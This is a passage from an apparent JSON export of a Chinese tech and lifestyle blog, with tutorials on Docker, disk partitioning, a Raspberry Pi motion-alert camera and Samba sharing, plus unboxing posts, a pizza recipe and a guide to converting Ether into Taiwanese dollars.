Docker 影像（image），分享給其他人下載（或是自己使用），看起來有點類似 GitHub，只是它裡面放的東西都是已經建立好的 Docker 影像（images）。\n在註冊處（registry）中會包含許多個套件庫（repositories），而每個套件庫又包含了許多的 Docker 影像（images），我們可以在帳號的註冊處（registry）中建立好多個套件庫（repositories），方便管理不同類型的 Docker 影像（images）。\n首先請到 Docker Cloud 網站註冊一個帳號（它是免費的），然後在自己的系統上使用 docker 指令登入：\ndocker login Docker 預設就會使用 Docker Cloud 網站的註冊處（registry），所以執行這行指令之後，就可以直接輸入 Docker Cloud 帳號與密碼來登入。\nLogin with your Docker ID to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com to create one. Username: guozhaowang Password: Login Succeeded 登入成功之後，就可以準備上傳自己的 Docker 影像了。\n在上傳影像之前，我們要先把自己製作的 Docker 影像（image）掛上比較正式的名稱，習慣上 Docker 的影像（image）名稱會以這樣的格式命名：\nusername/repository:tag username 就是自己的帳號名稱，而 repository 與 tag 則是自己命名的套件庫與標籤名稱，建議使用比較有意義的字眼來命名，例如 guozhaowang/gtwang-demo:part1。\n決定好名稱之後，使用 docker 的 tag 指令將 Docker 影像（image）標上指定的名稱：\ndocker tag friendlyhello guozhaowang/gtwang-demo:part1 接著再看一下目前的 Docker 影像（images）列表：\ndocker images 從這裡就可以看到 Docker 影像列表多了一筆新的 guozhaowang/gtwang-demo，接著上傳這一個 Docker 影像：\ndocker push guozhaowang/gtwang-demo:part1 將 Docker 影像（image）放上 Docker Cloud 之後，我們就可以在其他台電腦中直接使用這個 Docker 影像（image）：\ndocker run -p 4000:80 guozhaowang/gtwang-demo:part1 執行時 Docker 會自動從套件庫中下載需要的 Docker 影像（image）來執行。\n不管使用者在哪裡執行這個 Docker 影像（image），Docker 都會自動下載應用程式所需要的執行環境（例如 Python）與 requirements.txt 所列的套件，使用者只需要準備基本的 Docker 環境即可。\n參考資料 Docker ","permalink":"https://blog.gtwang.org/virtualization/docker-basic-tutorial/","summary":"\u003cp\u003e本篇是 Docker 容器的基本觀念與操作教學，敘述如何自行建立 Docker 影像檔。\u003c/p\u003e\n\u003cp\u003e相較於傳統的虛擬機器（例如 VirtualBox 與 VMWare 等），Docker 是一個輕量級的容器，只包含特定程式執行所需要的必要元件，不像虛擬機器要包含整個作業系統，所以大小會比較小，執行效能也會比較高。\u003c/p\u003e","title":"Docker 基本觀念與使用教學：自行建立 Docker 影像檔"},{"content":"本篇是 SanDisk SSD Plus 120GB 2.5 吋 SATAIII 固態硬碟簡單的開箱文。\n最近買了一顆 SanDisk 的 120GB 固態硬碟，準備用來當作系統碟，讓系統開機與運作都可以更快一些。\n這一顆 SanDisk SSD Plus 120GB 2.5 吋 SATAIII 固態硬碟我是從 PChome 上面買的，價格是 1,588 元，有三年保固。\n這是 SanDisk SSD 的詳細資料，產地是中國。\n使用前要先撕開排線封條。\n打開機殼，把固態硬碟裝進電腦中，現在的機殼通常都會有可以裝 2.5 吋硬碟的位置。\n鎖上螺絲。\n插上 SATA 與電源排線。\n開機測試。\n安裝完成後，就可以開始安裝 Windows 系統了。\n這是我在 Windows 10 中用 CrystalDiskMark 所測得的讀取與寫入速度。\n通常保固的日期都是以發票或購買證明上的日期為準，所以在 PChome 買了東西之後，最好把購買證明儲存起來備用。\n而 SanDisk 則是連同外包裝的標籤都要留著。\n","permalink":"https://blog.gtwang.org/unboxing/sandisk-ssd-plus-120gb-sata-iii/","summary":"\u003cp\u003e本篇是 SanDisk SSD Plus 120GB 2.5 吋 SATAIII 固態硬碟簡單的開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一顆 SanDisk 的 120GB 固態硬碟，準備用來當作系統碟，讓系統開機與運作都可以更快一些。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這一顆 SanDisk SSD Plus 120GB 2.5 吋 SATAIII 固態硬碟我是從 PChome 上面買的，價格是 1,588 元，有三年保固。\u003c/p\u003e","title":"[開箱] SanDisk SSD Plus 120GB 2.5 吋 SATAIII 固態硬碟"},{"content":"本篇介紹如何在 CentOS Linux 7 中安裝 Docker，以及基本操作與 hello world 程式。\n之前介紹過在 Ubuntu Linux 與樹莓派中安裝 Docker 的過程，這裡則是介紹在 CentOS Linux 7 中的安裝流程。\n安裝 Docker CE 由於 Docker 後來分為 Docker EE（Enterprise Edition）與 Docker CE（Community Edition）兩種版本，新的套件名稱與舊的不同，所以在安裝 Docker 之前，要先移除 CentOS Linux 系統上舊版的 Docker 套件：\nsudo yum remove docker docker-common container-selinux docker-selinux docker-engine docker-engine-selinux 安裝一些必要套件：\nsudo yum install -y yum-utils device-mapper-persistent-data lvm2 新增 Docker 官方的 stable 套件庫（repository），縱使您想要安裝 edge 版本的 Docker，也要先新增這一個套件庫：\nsudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo docker.repo 中也同時包含 edge 版本的 Docker 套件庫，不過預設是被停用的，想安裝 edge 版本的話，就要先啟用 edge 版本的套件庫（如果只是要安裝 stable 版本的人，就可以省略這一步）：\nsudo yum-config-manager --enable docker-ce-edge 更新 yum 的套件索引：\nsudo yum makecache fast 安裝 Docker CE 版：\nsudo yum install docker-ce 第一次安裝 Docker 的時候，會需要匯入 GPG 的金鑰，Docker CE 版的金鑰指紋是 060A 61C5 1B55 8A7F 742B 77AA C52F EB6B 621E 9F35，確認無誤就選擇 y 匯入。\n安裝好之後，啟動系統的 Docker 服務：\nsudo systemctl start docker 執行 hello world 程式測試：\nsudo docker run hello-world 正常來說，輸出會像這樣：\n這樣就完成 CentOS Linux 7 上面的 Docker 環境安裝了。\n如果想要使用一般使用者帳號來執行 Docker，要先將該帳號加入 docker 群組：\n# 將帳號加入 docker 群組 sudo usermod -aG docker USERNAME ","permalink":"https://blog.gtwang.org/linux/centos-linux-7-install-docker-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 7 中安裝 Docker，以及基本操作與 hello world 程式。\u003c/p\u003e\n\u003cp\u003e之前介紹過在 \u003ca href=\"/linux/ubuntu-linux-install-docker-tutorial/\"\u003eUbuntu Linux\u003c/a\u003e 與\u003ca href=\"/iot/raspberry-pi/raspberry-pi-docker-installation-tutorial/\"\u003e樹莓派\u003c/a\u003e中安裝 Docker 的過程，這裡則是介紹在 CentOS Linux 7 中的安裝流程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"CentOS Linux 7 安裝 Docker 步驟與使用教學"},{"content":"本篇是我最近自己做素食披薩的過程紀錄。\n我以前偶爾會自己做披薩吃，最近買了新的烤箱之後，又有機會可以自己做披薩了，不過技術不太好，只能做來自己吃，這裡我把製作的過程寫下來給大家參考，以下是我最近製作素食披薩的紀錄。\n工具與材料 工具的部分最重要的就是烤箱，我是用我最近買的國際牌 Panasonic NB-H3200 32 公升電烤箱，除此之外還要一隻擀麵棍，打蛋盆與披薩烤盤則是可有可無。\n製作披薩要用的食材最重要的就是乳酪，而乳酪又分為好多種，包含莫札瑞拉（Mozzarella）起司、切達（Cheddar）起司以及帕馬森（Parmesan）起司，而製作披薩通常都是用莫札瑞拉起司（比較會牽絲）。\n小包的安佳乳酪絲我是去家樂福買，一包（三百公克）的價格是 133 元，而大包的寶宏乳酪絲是我在烘培材料行買的，一包（一公斤）的價格是 250 元。\n小包的莫札瑞拉起司在一般的超市、全聯福利中心、家樂福、大潤發等賣場都可以找到，大包的莫札瑞拉起司就要去烘培材料行找，起司內容都是差不多的，差別在於價格，若用量多的話，當然買大包的會比較划算。\n因為我們要自己製作披薩皮，所以需要高筋麵粉、低筋麵粉與酵母，麵粉的話超市就有了，酵母我以前是用白玫瑰快發乾酵母，而這次我去新營的烘培材料行逛的時候，沒看到以前我用的那一種，所以就改買這一款伯爵低糖速發酵母，試用看看。\n這種小包裝的酵母價格比較高，如果用量大的人建議可以買大包裝的，價格差很多，但如果是不常用的話，小包的就夠了。\n我以前學做饅頭的時候，因為大包裝的酵母比較划算，所以買了一大包，但是實際用的時候才發現做一次饅頭也才用幾克的酵母而已，要把一整包 500 克的酵母用完真的很難，最後就是一整包只用一點點，剩下的冰在冷凍庫，冰到忘記或是不見，所以這次就改買小包裝的用用看。\n如果家裡有很多番茄的話，也可以自己煮番茄醬，如果沒有就去超市買一罐可果美番茄醬也很方便。\n另外還要準備高筋麵粉、鹽巴、砂糖、橄欖油，以及一些蔬菜、水果、素火腿之類的料（看自己喜歡吃什麼），接下來就可以開始製作了。\n製作過程 開始製作披薩之前，要先找一下配方，網路上有很多可以參考，我感覺最困難的就是披薩的餅皮，我參考了 cookpad 網站上的披薩餅皮配方：\n高筋麵粉 120 克 乾酵母 1¼ 小匙 鹽 ½ 小匙 砂糖 1¼ 小匙 溫水 75 毫升 橄欖油 1 大匙 玉米粉（當作手粉）少許 有了披薩餅皮的參考配方之後，剩下的都可以自己調整，其實我沒有完全按照這個配方做，以下是我個人實做的過程紀錄。\nStep 1\n因為披薩的餅皮可厚可薄，喜歡厚一點的話，麵粉就多加一點，這裡我要做兩個 8 吋披薩，我用大約 300 克的麵粉。\nStep 2\n將鹽巴、砂糖、乾酵母用溫水調開之後，加入麵粉中，然後加入橄欖油，揉成麵團，一開始水不要家太多，慢慢揉，若太乾就加一些水，太溼就加麵粉。\nStep 3\n揉成圓形的樣子，放著等它發酵。\n我的國際牌 Panasonic NB-H3200 32 公升電烤箱有發酵箱功能，所以我就放進烤箱發酵，如果沒有這種烤箱，也可以用電鍋加水保溫，或是直接用保鮮膜蓋起來（防止麵團表面太乾），放在室溫發酵（只是這樣要等比較久）。\nStep 4\n趁著麵團發酵的時候，把準備好的青椒、蕃茄、素火腿切一切。\nStep 5\n等待麵團大約發到兩倍大小時，就可以拿出來了。\nStep 6\n把麵團分成單片餅皮的量，用擀麵棍擀成圓形，再用叉子在上面戳滿小洞，接著在讓它發酵一下。\nStep 7\n如果做比較厚的披薩餅皮，中間會比較怕沒有熟，可以先把餅皮放進烤箱烤一下，如果比較薄就不用。我這個是用 200 度烤過 8 分鐘的餅皮，但後來發現是不需要先烤的。\nStep 8\n塗上蕃茄醬。\nStep 9\n加上自己準備好的料。\nStep 10\n灑上起司，要灑多少就看個人喜好，只是不要灑到太邊邊的位置，否則一烤就會流下去。\nStep 11\n放進烤箱，用 230 度（最高溫度）烤 12 到 15 分鐘，有些比較厚的披薩會烤到 20 分鐘。\nStep 12\n我通常是直接看起司的顏色，差不多從黃色要轉橘色的時候，就可以拿出來了。\nStep 13\n披薩出爐的時候，超過 200 度，一定要用手套，也要注意旁邊有沒有小朋友。\nStep 14\n這就是自己做的素食披薩，這一個因為餅皮事先拷過，結果周圍太乾了。\n接著用我之前買的披薩輪刀來切披薩。\n這樣就是今天的晚餐了。\n另外一份餅皮也用同樣的方式，只是沒有事先烤過，發現這樣烤起來餅皮比較剛好。\n這一個披薩的餅皮因為在發酵時，底部忘記先灑上一層麵粉，結果發酵完整個黏在桌上，撕起來之後，就變成皺巴巴的，不過這個餅皮烤的比較剛好。\n阿玄也很喜歡吃披薩。\n參考資料 滿點購物網 ","permalink":"https://blog.gtwang.org/diy/diy-handmade-vegetarian-pizza-201706/","summary":"\u003cp\u003e本篇是我最近自己做素食披薩的過程紀錄。\u003c/p\u003e\n\u003cp\u003e我以前偶爾會\u003ca href=\"/diy/handmade-vegetarian-pizza/\"\u003e自己做披薩吃\u003c/a\u003e，最近買了\u003ca href=\"/unboxing/panasonic-nb-h3200-electric-oven-32liter/\"\u003e新的烤箱\u003c/a\u003e之後，又有機會可以自己做披薩了，不過技術不太好，只能做來自己吃，這裡我把製作的過程寫下來給大家參考，以下是我最近製作素食披薩的紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"工具與材料\"\u003e工具與材料\u003c/h2\u003e\n\u003cp\u003e工具的部分最重要的就是烤箱，我是用我最近買的\u003ca href=\"/unboxing/panasonic-nb-h3200-electric-oven-32liter/\"\u003e國際牌 Panasonic NB-H3200 32 公升電烤箱\u003c/a\u003e，除此之外還要一隻擀麵棍，打蛋盆與披薩烤盤則是可有可無。\u003c/p\u003e","title":"[DIY] 自製素食披薩：桿麵皮、醬料與烤箱烘烤"},{"content":"這裡介紹如何在 Linux 中新增 2TB 以上的大容量硬碟，包含磁碟分割、格式化與掛載。\n之前我們介紹過在 Linux 中用 fdisk 分割硬碟的方法，而如果遇到 2TB 以上的大容量硬碟，就不能使用傳統的 fdisk 工具，必須改用 parted 磁碟分割工具配合 GPT 磁碟分割表來分割磁碟，如果對於指令熟悉的人，可以利用 GParted 這個圖形介面的分割工具來處理。\n我最近剛好拿到一顆新的 WD 企業級 4TB 硬碟，是全新尚未使用過的。\n企業級硬碟（Enterprise-class）算是比較高級的硬碟，穩定性會比一般硬碟好。\n這一顆硬碟的容量是 4TB，有 64MB 的緩衝區（cache）。\n這是背面的 SATA 排線與電源插座。\n以下是新增這顆 4TB 硬碟的步驟。\nStep 1\n新的硬碟拿到之後，就是先看看電腦上有沒有剩餘的電源與 SATA 線可以接。\n然後找個位子把硬碟安頓好，有時候臨時測試，懶得所螺絲，就直接放在機殼上用，不過這樣是有點冒險，最好還是把它鎖好比較保險。\nStep 2\n開機進入 Linux 系統，如果是文字介面的伺服器，建議可以使用 parted 指令進行磁碟分割，而這裡我示範用圖形介面的 GParted 工具。\n開啟 GParted 之後，在右上方的選單中，應該就可以找的到新的硬碟了。\nStep 3\n新的硬碟裡面是完全沒有東西的，一開始要先建立磁碟分割表，從「裝置」選單點選「建立分割表」。\nStep 4\n選擇分割表類型，超過 2TB 以上的硬碟，建議使用 GPT 磁碟分割表。\nStep 5\n分割表建立好之後，在尚未配置的硬碟空間上面點選滑鼠右鍵，選擇「新增」，增加新的磁碟分割區。\nStep 6\n調整新磁碟分割區的大小、檔案系統等各種選項，這個動作會自動將新的分割區格式化。\nStep 7\n設定好新增的磁碟分割區之後，GParted 還沒有實際執行，如果確認無誤之後，點選工具列上面的綠色勾勾，套用之前的動作。\nStep 8\n套用之後，就會實際執行所有的動作，若確認沒有問題，就可以點選「套用」。\nStep 9\n等待套用所有動作。\nStep 10\n套用完成後，磁碟分割與格式化就完成了。\nStep 11\n這時候開啟 Linux 桌面的檔案總管，應該就可以開始使用新的硬碟了。\n在命令列中，我們可以使用 mount 指令掛載新硬碟，再用 df 指令來查看新硬碟的情況。\n","permalink":"https://blog.gtwang.org/linux/linux-add-format-mount-4tb-harddisk/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中新增 2TB 以上的大容量硬碟，包含磁碟分割、格式化與掛載。\u003c/p\u003e\n\u003cp\u003e之前我們介紹過\u003ca href=\"/linux/linux-add-format-mount-harddisk/\"\u003e在 Linux 中用 fdisk 分割硬碟的方法\u003c/a\u003e，而如果遇到 2TB 以上的大容量硬碟，就不能使用傳統的 \u003ccode\u003efdisk\u003c/code\u003e 工具，必須改用 \u003ca href=\"/linux/parted-command-to-create-resize-rescue-linux-disk-partitions/\"\u003eparted 磁碟分割工具\u003c/a\u003e配合 GPT 磁碟分割表來分割磁碟，如果對於指令熟悉的人，可以利用 \u003ca href=\"/linux/gparted-gnome-partition-editor-and-live-cd-usb/\"\u003eGParted\u003c/a\u003e 這個圖形介面的分割工具來處理。\u003c/p\u003e","title":"Linux 新增 4TB 硬碟教學，磁碟分割、格式化與掛載"},{"content":"這裡介紹使用 MaiCoin 將其他地方的比特幣或以太幣轉為台幣，存入台灣銀行帳戶的過程。\nMaiCoin 是台灣的一家數位資產服務平台，除了比特幣與以太幣的錢包功能，還可以進行簡單的交易，最重要的功能就是可以將比特幣與以太幣直接兌換成台幣，存進台灣本地的銀行或郵局帳戶中。\n使用之前，請先到 MaiCoin 網站上註冊一個帳號，若要使用銀行匯款功能，必須先進行身份的認證，上傳身分證影本與手機帳單的照片（或是電子帳單的圖檔），另再設定好台灣的銀行帳戶，這些資料都可以在「設定」的頁面中填寫，MaiCoin 的介面都是中文的，操作非常容易，應該稍微看一下就會了。\n身分證明文件與手機帳單的審核時間一般需要大約需要 3 至 5 個工作天，不過我早上送出資料，下午就通過審核了，接下來就可以開始把自己的比特幣或是以太幣提領出來了。\n如果自己的比特幣或以太幣存在別的地方，也可以透過換款的方式先匯到 MaiCoin 中，再領到台灣的銀行帳戶，以下是我將 MinerGate 的以太幣領出來的過程，對於 MinerGate 有興趣的人可以參考 MinerGate 挖礦教學。\nStep 1\n查詢在 MaiCoin 的錢包位址，看您是要提領哪一種貨幣，就查詢哪一種錢包的位址，目前 MaiCoin 可以接收比特幣或以太幣。\n不同貨幣的做法都差不多，這裡我用以太幣來做示範，將這個以太幣錢包位址複製起來。\nStep 2\n將其他地方的以太幣轉過來 MaiCoin，我用 MinerGate 挖礦的所得做示範。開啟 MinerGate 的 dashboard，點選以太幣的提領（Withdraw）。\nStep 3\n填入要提領的金額，再將 MaiCoin 以太幣的錢包位址貼上去，按下「Withdraw」提款。\nStep 4\n接著在 MaiCoin 的交易明細中，就可以看到一筆新的以太幣交易。\n這個交易目前處於未完成的狀態，通常是要等待累積足夠的確認（confirmations）之後才會完成，我這次的經驗是等個半小時左右。\n點選交易 ID 就可以開啟 etherchain.org 網站上的交易明細資料，大約半小時之後就累積到 100 個確認了。\nStep 5\n完成交易之後，在 MaiCoin 的帳戶中，就可以看到從 MinerGate 領出來的以太幣了，接下來我們就可以準備把這些以太幣匯入台灣本地的銀行帳戶中。\nStep 6\n將以太幣存入 MaiCoin 的錢包中之後，我們就可以接著將這個以太幣轉入自己的銀行帳戶了，而由於匯入銀行帳戶之前，要將以太幣轉換為新台幣，這中間就會有匯率的問題，我們可以從以太幣價格走勢圖來決定兌換台幣的時機，在價格好的時候去兌換會比較划算。\nStep 7\n決定好要把以太幣兌換成台幣的時候，就在 MaiCoin 的出售以太幣頁面中填入要出售的金額，然後它會以目前的價格試算出一個新台幣的金額，確認沒問題的話就點選「出售以太幣」。\nStep 8\n交易送出之後無法取消的，而交易大約需要一到三天左右，如果當日交易金額少於 1000 元台幣，要收 10 元手續費。沒問題的話就勾選兩條注意事項，並按下「提交」。\nStep 9\n這樣就完成出售以太幣流程了。\nStep 10\n接著就是等待款項匯入銀行帳戶，此時在 MaiCoin 的交易明細中就會出現一筆新的交易明細，狀態是「等待匯款」。\nStep 11\n我這次的匯款是早上提出的，到了下午三點多就完成匯款了。\nMaiCoin 顯示匯款完成之後，就可以看看銀行的存款紀錄，檢查是否有入帳。\n匯率比較 在 MaiCoin 出售以太幣感覺上非常方便，而匯率跟國際上的其他交易網站差不了多少，我用 BTC-E 的試算工具算了一下，它可以算出以太幣換成美金的金額，以我的 0.11165856 以太幣來說，換出來大約是 28.25 美金。\n然後再用台灣銀行的匯率換成台幣的話，大約是 28.25 * 29.725 = 839.7313，而我們用 MaiCoin 兌換出來的金額是 834，差了大約 5 元台幣，不過由於他是直接存進台灣的戶頭，所以這樣算起來也還是很不錯。\n","permalink":"https://blog.gtwang.org/life/maicoin-sell-bitcoin-for-ntd-tutorial/","summary":"\u003cp\u003e這裡介紹使用 MaiCoin 將其他地方的比特幣或以太幣轉為台幣，存入台灣銀行帳戶的過程。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.maicoin.com/\"\u003eMaiCoin\u003c/a\u003e 是台灣的一家數位資產服務平台，除了比特幣與以太幣的錢包功能，還可以進行簡單的交易，最重要的功能就是可以將比特幣與以太幣直接兌換成台幣，存進台灣本地的銀行或郵局帳戶中。\u003c/p\u003e","title":"透過 MaiCoin 賣出比特幣、以太幣轉為台幣，存入台灣銀行帳戶教學"},{"content":"本篇是 Master 鏡亮披薩輪刀與橡膠木砧板的簡單開箱文。\n以前偶爾自己會做素食的披薩來吃，剛出爐的披薩通常超過攝氏 200 度，不太適合放在塑膠的切菜板上，通常都是放在木砧板上以披薩輪刀切開，但是我之前都沒有適合的工具，只能用陶瓷的盤子盛裝，用鍋鏟勉強切一下，而盤子不是平的，所以不怎麼好切。\n最近買了新烤箱，上週又做了三、四個披薩來吃，而每次披薩出爐都有這種切披薩的困擾，所以就直接上網買了一隻 Master 的鏡亮披薩輪刀，再加上一片橡膠木砧板，以下是簡單的開箱紀錄。\n這一片是台灣製造的 Just Home 橡膠木砧板，一片 499 元。\n其寬度是 24 公分，大約可以放一片 8 吋左右的披薩。\n這是橡膠木砧板背面的樣子。\n這一隻是 Master 的鏡亮披薩輪刀，價格是 695 元。\n這一隻披薩輪刀的價位比較高，質感非常好。\n手把上有 Master 的標誌。\n這隻 Master 鏡亮披薩輪刀左右兩側都是完全對稱的，整隻都是不鏽鋼材質，滾輪直徑是 7 公分。\n有了木砧板與披薩輪刀之後，要切披薩就比較方便了。\n","permalink":"https://blog.gtwang.org/unboxing/master-pizza-wheel-and-rubber-wood-cutting-board/","summary":"\u003cp\u003e本篇是 Master 鏡亮披薩輪刀與橡膠木砧板的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e以前偶爾\u003ca href=\"/diy/handmade-vegetarian-pizza/\"\u003e自己會做素食的披薩來吃\u003c/a\u003e，剛出爐的披薩通常超過攝氏 200 度，不太適合放在塑膠的切菜板上，通常都是放在木砧板上以披薩輪刀切開，但是我之前都沒有適合的工具，只能用陶瓷的盤子盛裝，用鍋鏟勉強切一下，而盤子不是平的，所以不怎麼好切。\u003c/p\u003e","title":"[開箱] Master 鏡亮披薩輪刀與 Just Home 橡膠木砧板"},{"content":"這裡介紹如何使用樹莓派與網路攝影機，自己打造一個物聯網監視器，發現異常狀況時自動以 Email 通報。\n使用樹莓派打造具有物聯網功能的監視器的方法與之前介紹過的自製縮時攝影設備類似，主要的技術就是應用 motion 這個工具來處理網路攝影機的畫面，偵測畫面中變動的物體，再配合自己撰寫的通報指令稿，組合成完整的物聯網監視系統。\n我這次用的設備是一張樹莓派 Raspberry Pi 2 Model B 開發板加上羅技 Logitech C920R HD PRO 網路攝影機，作業系統是使用樹莓派官方的 Raspbian。\n我把網路攝影機接上曼富圖的桌上型腳架，這樣放在桌上測試比較方便。\n基本監視系統 motion 是最主要的核心工具，使用 apt 即可安裝。安專之前新更新系統套件資訊：\nsudo apt-get update 安裝 motion 套件：\nsudo apt-get install motion motion 在安裝完成之後，預設是不會自動啟動的，要讓它能夠開機自動啟動，就要修改 /etc/default/motion 設定檔，啟用 motion 的 daemon：\nstart_motion_daemon=yes 接著修改 /etc/motion/motion.conf 設定檔，調整各種 motion 的參數，這裡的參數非常多，這裡只是列出一些我個人感覺比較需要調整的部份。\n# 開啟串流與網頁管理功能 stream_localhost off webcontrol_localhost off # 照片解析度 width 1280 height 720 # jpeg 品質 quality 90 # 每秒最高的 frame 數 framerate 4 # 雜訊門檻值 noise_level 64 # 偵測變動像素門檻值 threshold 3000 # 關閉影片輸出 ffmpeg_output_movies off # 標示畫面中有變動的部份 locate_motion_mode on # 用紅色方框標示 locate_motion_style redbox 有些參數必須依照現場的狀況來調整，例如雜訊門檻值（noise_level）與偵測變動像素門檻值（threshold），雜訊門檻值是指單一像素值變動多少以上才視為像素變動，而偵測變動像素門檻值是指多少個像素以上的變動才視為有偵測到物體移動，這個會跟鏡頭的好壞、安裝的角度、光線、現場的各種物體有關，要自己去調整。\n簡單來說，如果鏡頭品質不好、畫質很差、雜訊很高，那可能就要把雜訊門檻值調高一些，如果是很高級的鏡頭，沒有什麼雜訊的話，就可以把雜訊門檻值降低；如果鏡頭剛好是面對樹葉、窗簾等會飄動的物體，那可能就要把偵測變動像素門檻值調高一些，避免小小的風吹草動就出現警訊，反之若是畫面中的物體都是固定的建築物、道路等，就可以降低偵測變動像素門檻值，讓微小的變動也可以精準偵測出來。\nmotion 預設也會將變化的畫面以影片檔輸出，但是我怕樹莓派的處理器速度太慢了，所以先把它關掉，只看照片就好。\n通常這些數值都要等到實際裝好之後，經過很多次的測試才能得到比較恰當的設定值，所以安裝初期先大約設定一下就可以了。設定好之後，重新啟動 motion 系統服務：\nsudo service motion restart 檢查 motion 系統服務的狀態：\nservice motion status 由於 motion 預設會將圖片與影片的輸出儲存於 /var/lib/motion 中，但是 motion 帳號這個沒有該目錄的寫入權限，我們要自行將這個目錄的擁有者改為 motion：\nsudo chown motion:motion /var/lib/motion 如果權限沒有設定好，會造成 motion 中止執行。\nmotion 正常執行之後，只要畫面出現變動，就會將變動的畫面儲存下來，下面這張是我拿一顆籃球從鏡頭前滾過去的測試照片，motion 會自動將畫面中有變動的部份用紅色方框標示出來。\n這是把所有偵測到變動的照片串起來，製作成的 gif 動畫檔。\n這樣就完成基本的 motion 監視系統了，接下來我們要加入事件處理的指令稿，讓系統可以在偵測到畫面變動時，主動發出通知給系統管理者，即時應變處理。\n自動通報系統 motion 可以在各種事件發生時，執行對應的指令稿，最常見的使用狀況就是當發現變動的畫面時，主動發送 Email 或手機即時訊息，通知系統管理員。我們可以在 /etc/motion/motion.conf 設定檔中指定各種事件所對應的指令稿。\n圖片儲存事件 on_picture_save 功能可以指定當圖片存檔後，要呼叫的指令，而這個指令通常會配合 %f 參數一起使用，這個參數代表圖片的絕對路徑，透過這樣的方式即可將圖片傳遞給程式做進一步的處理：\non_picture_save /opt/motion/picture_save.sh %f 這裡我讓 motion 在圖片儲存之後，呼叫我自己寫的 /opt/motion/picture_save.sh 指令稿，並將圖片路徑一起傳過去，而這個指令稿的內容如下：\n#!/bin/bash # 名稱：picture_save.sh # 說明：將儲存的照片以 Email 發送 filename=$1 mpack -s \u0026#34;發現變動畫面\u0026#34; $filename guozhao.wang@gmail.com 這個指令稿的內容是將儲存的圖片以 Email 寄送到我的信箱，關於使用樹莓派發送 Email 的方法，請參考 Linux 使用 SSMTP 與 GMail 以指令或程式自動寄信教學。\n攝影機故障事件 監視系統的攝影機必須要維持正常運作，這樣整個系統才有作用，on_camera_lost 可以指定當攝影機出問題時所要呼叫的指令。如果一台樹莓派接了好幾台攝影機，可以配合 %t 參數，將出問題的攝影機編號傳遞出來：\non_camera_lost /opt/motion/camera_lost.sh %t 以下是 /opt/motion/camera_lost.sh 指令稿的內容：\n#!/bin/bash # 名稱：camera_lost.sh # 說明：攝影機故障通報 camera_number=$1; echo \u0026#34;攝影機 $camera_number 故障\u0026#34; | mail -s \u0026#34;攝影機 $camera_number 故障\u0026#34; guozhao.wang@gmail.com 這個指令稿是將攝影機故障的訊息以 Email 發送至我的信箱。\nmotion 還有支援其他幾種事件，設定的方式也都類似，請查看 /etc/motion/motion.conf 的註解說明，另外也還有非常多種參數可以使用，其註解中也有詳細的說明。\n參考資料 Alex Nikolaidis motion citrusbyte ","permalink":"https://blog.gtwang.org/iot/how-to-diy-home-alarm-system-with-raspberry-pi-and-webcam/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派與網路攝影機，自己打造一個物聯網監視器，發現異常狀況時自動以 Email 通報。\u003c/p\u003e\n\u003cp\u003e使用樹莓派打造具有物聯網功能的監視器的方法與之前介紹過的\u003ca href=\"/iot/raspberry-pi-time-lapse-using-motion-and-webcam/\"\u003e自製縮時攝影設備\u003c/a\u003e類似，主要的技術就是應用 \u003ccode\u003emotion\u003c/code\u003e 這個工具來處理網路攝影機的畫面，偵測畫面中變動的物體，再配合自己撰寫的通報指令稿，組合成完整的物聯網監視系統。\u003c/p\u003e","title":"[DIY] 樹莓派 Raspberry Pi 自製智慧型監視器，自動遠端通報系統"},{"content":"這裡介紹如何在樹莓派中安裝與設定 Samba 服務，以網路芳鄰的方式將目錄與檔案分享給網路上的 Windows 電腦。\n如果要將樹莓派中的檔案分享給附近的 Windows 系統，最方便的做法就是透過網路芳鄰的方式，讓 Windows 直接在檔案總管中就可以使用，而在 Linux 系統上若要使用網路芳鄰的功能就要安裝 Samba 服務，以下介紹樹莓派安裝與設定 Samba 伺服器的步驟，讓我們可以在 Windows 系統上直接使用樹莓派上面的檔案。\n安裝 samba 套件：\nsudo apt-get install samba 將要使用 samba 分享檔案的 Linux 帳號加入 sambshare 群組：\nsudo usermod -a -G sambashare pi 設定 pi 這個 samba 帳號的密碼：\nsudo pdbedit -a -u pi 編輯 /etc/samba/smb.conf 設定檔，加入以下設定。首先讓連結檔都可以正常使用：\n[global] # 允許使用連結檔 follow symlinks = yes # 允許連結到目錄之外 wide links = yes # 關閉 CIFS UNIX extensions unix extensions = no 再將 pi 家目錄分享出來：\n[pi] comment = pi\u0026#39;s home path = /home/pi read only = no guest ok = no browseable = yes create mask = 0644 directory mask = 0755 接著重新啟動 samba 服務：\nservice smbd restart 這樣就完成 samba 的設定了。\n在 Windows 中我們可以在檔案總管的網址列輸入兩個反斜線加上樹莓派的 IP 位址：\n192.168.0.150 這樣就可以透過網路芳鄰存取樹莓派中的檔案了，打開這個位址時，應該就會看到 pi 的家目錄。\n點擊進入 pi 